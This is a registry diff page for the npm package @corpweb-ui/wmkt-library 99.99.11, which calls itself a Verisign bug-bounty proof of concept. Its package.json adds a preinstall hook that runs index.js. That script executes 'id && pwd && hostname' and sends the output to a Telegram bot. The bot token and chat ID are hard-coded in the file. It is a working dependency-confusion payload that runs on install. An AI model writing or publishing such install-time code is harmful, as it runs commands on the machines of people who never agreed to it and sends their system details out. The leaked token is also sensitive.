@corpweb-ui/wmkt-library 99.99.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +28 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ const { exec } = require("child_process");
2
+ const https = require("https");
3
+
4
+ // الأوامر اللي هتثبت الـ RCE بأمان (اسم الجهاز، اليوزر، المسار)
5
+ const cmd = "id && pwd && hostname";
6
+
7
+ exec(cmd, (error, stdout, stderr) => {
8
+ if (error) process.exit(0);
9
+
10
+ const evidence = stdout.trim();
11
+ // تأكد من تعديل اسم الشركة هنا لـ Verisign عشان التقرير
12
+ const message = `🚨 *VERISIGN - RCE CONFIRMED* 🚨\n\n📦 *Target:* @corpweb-ui/wmkt-library\n\n📄 *Evidence:*\n\`\`\`\n${evidence}\n\`\`\`\n\n✅ *Note:* No sensitive files were accessed to comply with Safe Harbor.`;
13
+
14
+ // توكن البوت والـ Chat ID بتوعك
15
+ const token = "8699485977:AAGE6u0cGKTTMuXq3TGjx05YMP8b6FibODs";
16
+ const chatId = "1483949647";
17
+
18
+ const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;
19
+
20
+ https.get(url, (res) => {
21
+ process.exit(0);
22
+ }).on('error', (e) => {
23
+ process.exit(0);
24
+ });
25
+ });
26
+
27
+ // إغلاق العملية إجبارياً بعد 5 ثواني لضمان عدم تعليق السيرفر
28
+ setTimeout(() => { process.exit(0); }, 5000);
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@corpweb-ui/wmkt-library",
3
+ "version": "99.99.11",
4
+ "description": "Bug Bounty PoC for Verisign by Mohamed Elkhair",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "publishConfig": {
10
+ "access": "public"
11
+ },
12
+ "author": "Mohamed Elkhair",
13
+ "license": "ISC"
14
+ }